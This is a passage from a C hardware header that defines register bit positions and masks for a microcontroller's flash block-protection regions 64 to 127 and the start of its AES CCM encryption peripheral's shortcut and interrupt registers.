#define BPROT_CONFIG2_REGION95_Pos (31UL) /*!< Position of REGION95 field. */
#define BPROT_CONFIG2_REGION95_Msk (0x1UL << BPROT_CONFIG2_REGION95_Pos) /*!< Bit mask of REGION95 field. */
#define BPROT_CONFIG2_REGION95_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION95_Enabled (1UL) /*!< Protection enabled */
/* Bit 30 : Enable protection for region 94. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION94_Pos (30UL) /*!< Position of REGION94 field. */
#define BPROT_CONFIG2_REGION94_Msk (0x1UL << BPROT_CONFIG2_REGION94_Pos) /*!< Bit mask of REGION94 field. */
#define BPROT_CONFIG2_REGION94_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION94_Enabled (1UL) /*!< Protection enabled */
/* Bit 29 : Enable protection for region 93. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION93_Pos (29UL) /*!< Position of REGION93 field. */
#define BPROT_CONFIG2_REGION93_Msk (0x1UL << BPROT_CONFIG2_REGION93_Pos) /*!< Bit mask of REGION93 field. */
#define BPROT_CONFIG2_REGION93_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION93_Enabled (1UL) /*!< Protection enabled */
/* Bit 28 : Enable protection for region 92. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION92_Pos (28UL) /*!< Position of REGION92 field. */
#define BPROT_CONFIG2_REGION92_Msk (0x1UL << BPROT_CONFIG2_REGION92_Pos) /*!< Bit mask of REGION92 field. */
#define BPROT_CONFIG2_REGION92_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION92_Enabled (1UL) /*!< Protection enabled */
/* Bit 27 : Enable protection for region 91. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION91_Pos (27UL) /*!< Position of REGION91 field. */
#define BPROT_CONFIG2_REGION91_Msk (0x1UL << BPROT_CONFIG2_REGION91_Pos) /*!< Bit mask of REGION91 field. */
#define BPROT_CONFIG2_REGION91_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION91_Enabled (1UL) /*!< Protection enabled */
/* Bit 26 : Enable protection for region 90. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION90_Pos (26UL) /*!< Position of REGION90 field. */
#define BPROT_CONFIG2_REGION90_Msk (0x1UL << BPROT_CONFIG2_REGION90_Pos) /*!< Bit mask of REGION90 field. */
#define BPROT_CONFIG2_REGION90_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION90_Enabled (1UL) /*!< Protection enabled */
/* Bit 25 : Enable protection for region 89. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION89_Pos (25UL) /*!< Position of REGION89 field. */
#define BPROT_CONFIG2_REGION89_Msk (0x1UL << BPROT_CONFIG2_REGION89_Pos) /*!< Bit mask of REGION89 field. */
#define BPROT_CONFIG2_REGION89_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION89_Enabled (1UL) /*!< Protection enabled */
/* Bit 24 : Enable protection for region 88. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION88_Pos (24UL) /*!< Position of REGION88 field. */
#define BPROT_CONFIG2_REGION88_Msk (0x1UL << BPROT_CONFIG2_REGION88_Pos) /*!< Bit mask of REGION88 field. */
#define BPROT_CONFIG2_REGION88_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION88_Enabled (1UL) /*!< Protection enabled */
/* Bit 23 : Enable protection for region 87. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION87_Pos (23UL) /*!< Position of REGION87 field. */
#define BPROT_CONFIG2_REGION87_Msk (0x1UL << BPROT_CONFIG2_REGION87_Pos) /*!< Bit mask of REGION87 field. */
#define BPROT_CONFIG2_REGION87_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION87_Enabled (1UL) /*!< Protection enabled */
/* Bit 22 : Enable protection for region 86. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION86_Pos (22UL) /*!< Position of REGION86 field. */
#define BPROT_CONFIG2_REGION86_Msk (0x1UL << BPROT_CONFIG2_REGION86_Pos) /*!< Bit mask of REGION86 field. */
#define BPROT_CONFIG2_REGION86_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION86_Enabled (1UL) /*!< Protection enabled */
/* Bit 21 : Enable protection for region 85. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION85_Pos (21UL) /*!< Position of REGION85 field. */
#define BPROT_CONFIG2_REGION85_Msk (0x1UL << BPROT_CONFIG2_REGION85_Pos) /*!< Bit mask of REGION85 field. */
#define BPROT_CONFIG2_REGION85_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION85_Enabled (1UL) /*!< Protection enabled */
/* Bit 20 : Enable protection for region 84. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION84_Pos (20UL) /*!< Position of REGION84 field. */
#define BPROT_CONFIG2_REGION84_Msk (0x1UL << BPROT_CONFIG2_REGION84_Pos) /*!< Bit mask of REGION84 field. */
#define BPROT_CONFIG2_REGION84_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION84_Enabled (1UL) /*!< Protection enabled */
/* Bit 19 : Enable protection for region 83. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION83_Pos (19UL) /*!< Position of REGION83 field. */
#define BPROT_CONFIG2_REGION83_Msk (0x1UL << BPROT_CONFIG2_REGION83_Pos) /*!< Bit mask of REGION83 field. */
#define BPROT_CONFIG2_REGION83_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION83_Enabled (1UL) /*!< Protection enabled */
/* Bit 18 : Enable protection for region 82. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION82_Pos (18UL) /*!< Position of REGION82 field. */
#define BPROT_CONFIG2_REGION82_Msk (0x1UL << BPROT_CONFIG2_REGION82_Pos) /*!< Bit mask of REGION82 field. */
#define BPROT_CONFIG2_REGION82_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION82_Enabled (1UL) /*!< Protection enabled */
/* Bit 17 : Enable protection for region 81. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION81_Pos (17UL) /*!< Position of REGION81 field. */
#define BPROT_CONFIG2_REGION81_Msk (0x1UL << BPROT_CONFIG2_REGION81_Pos) /*!< Bit mask of REGION81 field. */
#define BPROT_CONFIG2_REGION81_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION81_Enabled (1UL) /*!< Protection enabled */
/* Bit 16 : Enable protection for region 80. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION80_Pos (16UL) /*!< Position of REGION80 field. */
#define BPROT_CONFIG2_REGION80_Msk (0x1UL << BPROT_CONFIG2_REGION80_Pos) /*!< Bit mask of REGION80 field. */
#define BPROT_CONFIG2_REGION80_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION80_Enabled (1UL) /*!< Protection enabled */
/* Bit 15 : Enable protection for region 79. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION79_Pos (15UL) /*!< Position of REGION79 field. */
#define BPROT_CONFIG2_REGION79_Msk (0x1UL << BPROT_CONFIG2_REGION79_Pos) /*!< Bit mask of REGION79 field. */
#define BPROT_CONFIG2_REGION79_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION79_Enabled (1UL) /*!< Protection enabled */
/* Bit 14 : Enable protection for region 78. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION78_Pos (14UL) /*!< Position of REGION78 field. */
#define BPROT_CONFIG2_REGION78_Msk (0x1UL << BPROT_CONFIG2_REGION78_Pos) /*!< Bit mask of REGION78 field. */
#define BPROT_CONFIG2_REGION78_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION78_Enabled (1UL) /*!< Protection enabled */
/* Bit 13 : Enable protection for region 77. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION77_Pos (13UL) /*!< Position of REGION77 field. */
#define BPROT_CONFIG2_REGION77_Msk (0x1UL << BPROT_CONFIG2_REGION77_Pos) /*!< Bit mask of REGION77 field. */
#define BPROT_CONFIG2_REGION77_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION77_Enabled (1UL) /*!< Protection enabled */
/* Bit 12 : Enable protection for region 76. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION76_Pos (12UL) /*!< Position of REGION76 field. */
#define BPROT_CONFIG2_REGION76_Msk (0x1UL << BPROT_CONFIG2_REGION76_Pos) /*!< Bit mask of REGION76 field. */
#define BPROT_CONFIG2_REGION76_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION76_Enabled (1UL) /*!< Protection enabled */
/* Bit 11 : Enable protection for region 75. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION75_Pos (11UL) /*!< Position of REGION75 field. */
#define BPROT_CONFIG2_REGION75_Msk (0x1UL << BPROT_CONFIG2_REGION75_Pos) /*!< Bit mask of REGION75 field. */
#define BPROT_CONFIG2_REGION75_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION75_Enabled (1UL) /*!< Protection enabled */
/* Bit 10 : Enable protection for region 74. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION74_Pos (10UL) /*!< Position of REGION74 field. */
#define BPROT_CONFIG2_REGION74_Msk (0x1UL << BPROT_CONFIG2_REGION74_Pos) /*!< Bit mask of REGION74 field. */
#define BPROT_CONFIG2_REGION74_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION74_Enabled (1UL) /*!< Protection enabled */
/* Bit 9 : Enable protection for region 73. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION73_Pos (9UL) /*!< Position of REGION73 field. */
#define BPROT_CONFIG2_REGION73_Msk (0x1UL << BPROT_CONFIG2_REGION73_Pos) /*!< Bit mask of REGION73 field. */
#define BPROT_CONFIG2_REGION73_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION73_Enabled (1UL) /*!< Protection enabled */
/* Bit 8 : Enable protection for region 72. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION72_Pos (8UL) /*!< Position of REGION72 field. */
#define BPROT_CONFIG2_REGION72_Msk (0x1UL << BPROT_CONFIG2_REGION72_Pos) /*!< Bit mask of REGION72 field. */
#define BPROT_CONFIG2_REGION72_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION72_Enabled (1UL) /*!< Protection enabled */
/* Bit 7 : Enable protection for region 71. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION71_Pos (7UL) /*!< Position of REGION71 field. */
#define BPROT_CONFIG2_REGION71_Msk (0x1UL << BPROT_CONFIG2_REGION71_Pos) /*!< Bit mask of REGION71 field. */
#define BPROT_CONFIG2_REGION71_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION71_Enabled (1UL) /*!< Protection enabled */
/* Bit 6 : Enable protection for region 70. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION70_Pos (6UL) /*!< Position of REGION70 field. */
#define BPROT_CONFIG2_REGION70_Msk (0x1UL << BPROT_CONFIG2_REGION70_Pos) /*!< Bit mask of REGION70 field. */
#define BPROT_CONFIG2_REGION70_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION70_Enabled (1UL) /*!< Protection enabled */
/* Bit 5 : Enable protection for region 69. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION69_Pos (5UL) /*!< Position of REGION69 field. */
#define BPROT_CONFIG2_REGION69_Msk (0x1UL << BPROT_CONFIG2_REGION69_Pos) /*!< Bit mask of REGION69 field. */
#define BPROT_CONFIG2_REGION69_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION69_Enabled (1UL) /*!< Protection enabled */
/* Bit 4 : Enable protection for region 68. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION68_Pos (4UL) /*!< Position of REGION68 field. */
#define BPROT_CONFIG2_REGION68_Msk (0x1UL << BPROT_CONFIG2_REGION68_Pos) /*!< Bit mask of REGION68 field. */
#define BPROT_CONFIG2_REGION68_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION68_Enabled (1UL) /*!< Protection enabled */
/* Bit 3 : Enable protection for region 67. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION67_Pos (3UL) /*!< Position of REGION67 field. */
#define BPROT_CONFIG2_REGION67_Msk (0x1UL << BPROT_CONFIG2_REGION67_Pos) /*!< Bit mask of REGION67 field. */
#define BPROT_CONFIG2_REGION67_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION67_Enabled (1UL) /*!< Protection enabled */
/* Bit 2 : Enable protection for region 66. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION66_Pos (2UL) /*!< Position of REGION66 field. */
#define BPROT_CONFIG2_REGION66_Msk (0x1UL << BPROT_CONFIG2_REGION66_Pos) /*!< Bit mask of REGION66 field. */
#define BPROT_CONFIG2_REGION66_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION66_Enabled (1UL) /*!< Protection enabled */
/* Bit 1 : Enable protection for region 65. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION65_Pos (1UL) /*!< Position of REGION65 field. */
#define BPROT_CONFIG2_REGION65_Msk (0x1UL << BPROT_CONFIG2_REGION65_Pos) /*!< Bit mask of REGION65 field. */
#define BPROT_CONFIG2_REGION65_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION65_Enabled (1UL) /*!< Protection enabled */
/* Bit 0 : Enable protection for region 64. Write '0' has no effect. */
#define BPROT_CONFIG2_REGION64_Pos (0UL) /*!< Position of REGION64 field. */
#define BPROT_CONFIG2_REGION64_Msk (0x1UL << BPROT_CONFIG2_REGION64_Pos) /*!< Bit mask of REGION64 field. */
#define BPROT_CONFIG2_REGION64_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG2_REGION64_Enabled (1UL) /*!< Protection enabled */
/* Register: BPROT_CONFIG3 */
/* Description: Block protect configuration register 3 */
/* Bit 31 : Enable protection for region 127. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION127_Pos (31UL) /*!< Position of REGION127 field. */
#define BPROT_CONFIG3_REGION127_Msk (0x1UL << BPROT_CONFIG3_REGION127_Pos) /*!< Bit mask of REGION127 field. */
#define BPROT_CONFIG3_REGION127_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION127_Enabled (1UL) /*!< Protection enabled */
/* Bit 30 : Enable protection for region 126. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION126_Pos (30UL) /*!< Position of REGION126 field. */
#define BPROT_CONFIG3_REGION126_Msk (0x1UL << BPROT_CONFIG3_REGION126_Pos) /*!< Bit mask of REGION126 field. */
#define BPROT_CONFIG3_REGION126_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION126_Enabled (1UL) /*!< Protection enabled */
/* Bit 29 : Enable protection for region 125. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION125_Pos (29UL) /*!< Position of REGION125 field. */
#define BPROT_CONFIG3_REGION125_Msk (0x1UL << BPROT_CONFIG3_REGION125_Pos) /*!< Bit mask of REGION125 field. */
#define BPROT_CONFIG3_REGION125_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION125_Enabled (1UL) /*!< Protection enabled */
/* Bit 28 : Enable protection for region 124. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION124_Pos (28UL) /*!< Position of REGION124 field. */
#define BPROT_CONFIG3_REGION124_Msk (0x1UL << BPROT_CONFIG3_REGION124_Pos) /*!< Bit mask of REGION124 field. */
#define BPROT_CONFIG3_REGION124_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION124_Enabled (1UL) /*!< Protection enabled */
/* Bit 27 : Enable protection for region 123. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION123_Pos (27UL) /*!< Position of REGION123 field. */
#define BPROT_CONFIG3_REGION123_Msk (0x1UL << BPROT_CONFIG3_REGION123_Pos) /*!< Bit mask of REGION123 field. */
#define BPROT_CONFIG3_REGION123_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION123_Enabled (1UL) /*!< Protection enabled */
/* Bit 26 : Enable protection for region 122. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION122_Pos (26UL) /*!< Position of REGION122 field. */
#define BPROT_CONFIG3_REGION122_Msk (0x1UL << BPROT_CONFIG3_REGION122_Pos) /*!< Bit mask of REGION122 field. */
#define BPROT_CONFIG3_REGION122_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION122_Enabled (1UL) /*!< Protection enabled */
/* Bit 25 : Enable protection for region 121. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION121_Pos (25UL) /*!< Position of REGION121 field. */
#define BPROT_CONFIG3_REGION121_Msk (0x1UL << BPROT_CONFIG3_REGION121_Pos) /*!< Bit mask of REGION121 field. */
#define BPROT_CONFIG3_REGION121_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION121_Enabled (1UL) /*!< Protection enabled */
/* Bit 24 : Enable protection for region 120. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION120_Pos (24UL) /*!< Position of REGION120 field. */
#define BPROT_CONFIG3_REGION120_Msk (0x1UL << BPROT_CONFIG3_REGION120_Pos) /*!< Bit mask of REGION120 field. */
#define BPROT_CONFIG3_REGION120_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION120_Enabled (1UL) /*!< Protection enabled */
/* Bit 23 : Enable protection for region 119. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION119_Pos (23UL) /*!< Position of REGION119 field. */
#define BPROT_CONFIG3_REGION119_Msk (0x1UL << BPROT_CONFIG3_REGION119_Pos) /*!< Bit mask of REGION119 field. */
#define BPROT_CONFIG3_REGION119_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION119_Enabled (1UL) /*!< Protection enabled */
/* Bit 22 : Enable protection for region 118. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION118_Pos (22UL) /*!< Position of REGION118 field. */
#define BPROT_CONFIG3_REGION118_Msk (0x1UL << BPROT_CONFIG3_REGION118_Pos) /*!< Bit mask of REGION118 field. */
#define BPROT_CONFIG3_REGION118_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION118_Enabled (1UL) /*!< Protection enabled */
/* Bit 21 : Enable protection for region 117. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION117_Pos (21UL) /*!< Position of REGION117 field. */
#define BPROT_CONFIG3_REGION117_Msk (0x1UL << BPROT_CONFIG3_REGION117_Pos) /*!< Bit mask of REGION117 field. */
#define BPROT_CONFIG3_REGION117_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION117_Enabled (1UL) /*!< Protection enabled */
/* Bit 20 : Enable protection for region 116. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION116_Pos (20UL) /*!< Position of REGION116 field. */
#define BPROT_CONFIG3_REGION116_Msk (0x1UL << BPROT_CONFIG3_REGION116_Pos) /*!< Bit mask of REGION116 field. */
#define BPROT_CONFIG3_REGION116_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION116_Enabled (1UL) /*!< Protection enabled */
/* Bit 19 : Enable protection for region 115. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION115_Pos (19UL) /*!< Position of REGION115 field. */
#define BPROT_CONFIG3_REGION115_Msk (0x1UL << BPROT_CONFIG3_REGION115_Pos) /*!< Bit mask of REGION115 field. */
#define BPROT_CONFIG3_REGION115_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION115_Enabled (1UL) /*!< Protection enabled */
/* Bit 18 : Enable protection for region 114. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION114_Pos (18UL) /*!< Position of REGION114 field. */
#define BPROT_CONFIG3_REGION114_Msk (0x1UL << BPROT_CONFIG3_REGION114_Pos) /*!< Bit mask of REGION114 field. */
#define BPROT_CONFIG3_REGION114_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION114_Enabled (1UL) /*!< Protection enabled */
/* Bit 17 : Enable protection for region 113. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION113_Pos (17UL) /*!< Position of REGION113 field. */
#define BPROT_CONFIG3_REGION113_Msk (0x1UL << BPROT_CONFIG3_REGION113_Pos) /*!< Bit mask of REGION113 field. */
#define BPROT_CONFIG3_REGION113_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION113_Enabled (1UL) /*!< Protection enabled */
/* Bit 16 : Enable protection for region 112. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION112_Pos (16UL) /*!< Position of REGION112 field. */
#define BPROT_CONFIG3_REGION112_Msk (0x1UL << BPROT_CONFIG3_REGION112_Pos) /*!< Bit mask of REGION112 field. */
#define BPROT_CONFIG3_REGION112_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION112_Enabled (1UL) /*!< Protection enabled */
/* Bit 15 : Enable protection for region 111. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION111_Pos (15UL) /*!< Position of REGION111 field. */
#define BPROT_CONFIG3_REGION111_Msk (0x1UL << BPROT_CONFIG3_REGION111_Pos) /*!< Bit mask of REGION111 field. */
#define BPROT_CONFIG3_REGION111_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION111_Enabled (1UL) /*!< Protection enabled */
/* Bit 14 : Enable protection for region 110. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION110_Pos (14UL) /*!< Position of REGION110 field. */
#define BPROT_CONFIG3_REGION110_Msk (0x1UL << BPROT_CONFIG3_REGION110_Pos) /*!< Bit mask of REGION110 field. */
#define BPROT_CONFIG3_REGION110_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION110_Enabled (1UL) /*!< Protection enabled */
/* Bit 13 : Enable protection for region 109. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION109_Pos (13UL) /*!< Position of REGION109 field. */
#define BPROT_CONFIG3_REGION109_Msk (0x1UL << BPROT_CONFIG3_REGION109_Pos) /*!< Bit mask of REGION109 field. */
#define BPROT_CONFIG3_REGION109_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION109_Enabled (1UL) /*!< Protection enabled */
/* Bit 12 : Enable protection for region 108. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION108_Pos (12UL) /*!< Position of REGION108 field. */
#define BPROT_CONFIG3_REGION108_Msk (0x1UL << BPROT_CONFIG3_REGION108_Pos) /*!< Bit mask of REGION108 field. */
#define BPROT_CONFIG3_REGION108_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION108_Enabled (1UL) /*!< Protection enabled */
/* Bit 11 : Enable protection for region 107. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION107_Pos (11UL) /*!< Position of REGION107 field. */
#define BPROT_CONFIG3_REGION107_Msk (0x1UL << BPROT_CONFIG3_REGION107_Pos) /*!< Bit mask of REGION107 field. */
#define BPROT_CONFIG3_REGION107_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION107_Enabled (1UL) /*!< Protection enabled */
/* Bit 10 : Enable protection for region 106. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION106_Pos (10UL) /*!< Position of REGION106 field. */
#define BPROT_CONFIG3_REGION106_Msk (0x1UL << BPROT_CONFIG3_REGION106_Pos) /*!< Bit mask of REGION106 field. */
#define BPROT_CONFIG3_REGION106_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION106_Enabled (1UL) /*!< Protection enabled */
/* Bit 9 : Enable protection for region 105. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION105_Pos (9UL) /*!< Position of REGION105 field. */
#define BPROT_CONFIG3_REGION105_Msk (0x1UL << BPROT_CONFIG3_REGION105_Pos) /*!< Bit mask of REGION105 field. */
#define BPROT_CONFIG3_REGION105_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION105_Enabled (1UL) /*!< Protection enabled */
/* Bit 8 : Enable protection for region 104. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION104_Pos (8UL) /*!< Position of REGION104 field. */
#define BPROT_CONFIG3_REGION104_Msk (0x1UL << BPROT_CONFIG3_REGION104_Pos) /*!< Bit mask of REGION104 field. */
#define BPROT_CONFIG3_REGION104_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION104_Enabled (1UL) /*!< Protection enabled */
/* Bit 7 : Enable protection for region 103. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION103_Pos (7UL) /*!< Position of REGION103 field. */
#define BPROT_CONFIG3_REGION103_Msk (0x1UL << BPROT_CONFIG3_REGION103_Pos) /*!< Bit mask of REGION103 field. */
#define BPROT_CONFIG3_REGION103_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION103_Enabled (1UL) /*!< Protection enabled */
/* Bit 6 : Enable protection for region 102. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION102_Pos (6UL) /*!< Position of REGION102 field. */
#define BPROT_CONFIG3_REGION102_Msk (0x1UL << BPROT_CONFIG3_REGION102_Pos) /*!< Bit mask of REGION102 field. */
#define BPROT_CONFIG3_REGION102_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION102_Enabled (1UL) /*!< Protection enabled */
/* Bit 5 : Enable protection for region 101. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION101_Pos (5UL) /*!< Position of REGION101 field. */
#define BPROT_CONFIG3_REGION101_Msk (0x1UL << BPROT_CONFIG3_REGION101_Pos) /*!< Bit mask of REGION101 field. */
#define BPROT_CONFIG3_REGION101_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION101_Enabled (1UL) /*!< Protection enabled */
/* Bit 4 : Enable protection for region 100. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION100_Pos (4UL) /*!< Position of REGION100 field. */
#define BPROT_CONFIG3_REGION100_Msk (0x1UL << BPROT_CONFIG3_REGION100_Pos) /*!< Bit mask of REGION100 field. */
#define BPROT_CONFIG3_REGION100_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION100_Enabled (1UL) /*!< Protection enabled */
/* Bit 3 : Enable protection for region 99. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION99_Pos (3UL) /*!< Position of REGION99 field. */
#define BPROT_CONFIG3_REGION99_Msk (0x1UL << BPROT_CONFIG3_REGION99_Pos) /*!< Bit mask of REGION99 field. */
#define BPROT_CONFIG3_REGION99_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION99_Enabled (1UL) /*!< Protection enabled */
/* Bit 2 : Enable protection for region 98. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION98_Pos (2UL) /*!< Position of REGION98 field. */
#define BPROT_CONFIG3_REGION98_Msk (0x1UL << BPROT_CONFIG3_REGION98_Pos) /*!< Bit mask of REGION98 field. */
#define BPROT_CONFIG3_REGION98_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION98_Enabled (1UL) /*!< Protection enabled */
/* Bit 1 : Enable protection for region 97. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION97_Pos (1UL) /*!< Position of REGION97 field. */
#define BPROT_CONFIG3_REGION97_Msk (0x1UL << BPROT_CONFIG3_REGION97_Pos) /*!< Bit mask of REGION97 field. */
#define BPROT_CONFIG3_REGION97_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION97_Enabled (1UL) /*!< Protection enabled */
/* Bit 0 : Enable protection for region 96. Write '0' has no effect. */
#define BPROT_CONFIG3_REGION96_Pos (0UL) /*!< Position of REGION96 field. */
#define BPROT_CONFIG3_REGION96_Msk (0x1UL << BPROT_CONFIG3_REGION96_Pos) /*!< Bit mask of REGION96 field. */
#define BPROT_CONFIG3_REGION96_Disabled (0UL) /*!< Protection disabled */
#define BPROT_CONFIG3_REGION96_Enabled (1UL) /*!< Protection enabled */
/* Peripheral: CCM */
/* Description: AES CCM Mode Encryption */
/* Register: CCM_SHORTS */
/* Description: Shortcut register */
/* Bit 0 : Shortcut between ENDKSGEN event and CRYPT task */
#define CCM_SHORTS_ENDKSGEN_CRYPT_Pos (0UL) /*!< Position of ENDKSGEN_CRYPT field. */
#define CCM_SHORTS_ENDKSGEN_CRYPT_Msk (0x1UL << CCM_SHORTS_ENDKSGEN_CRYPT_Pos) /*!< Bit mask of ENDKSGEN_CRYPT field. */
#define CCM_SHORTS_ENDKSGEN_CRYPT_Disabled (0UL) /*!< Disable shortcut */
#define CCM_SHORTS_ENDKSGEN_CRYPT_Enabled (1UL) /*!< Enable shortcut */
/* Register: CCM_INTENSET */
/* Description: Enable interrupt */
/* Bit 2 : Write '1' to Enable interrupt for ERROR event */
#define CCM_INTENSET_ERROR_Pos (2UL) /*!< Position of ERROR field. */
#define CCM_INTENSET_ERROR_Msk (0x1UL << CCM_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define CCM_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define CCM_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define CCM_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for ENDCRYPT event */
#define CCM_INTENSET_ENDCRYPT_Pos (1UL) /*!< Position of ENDCRYPT field. */
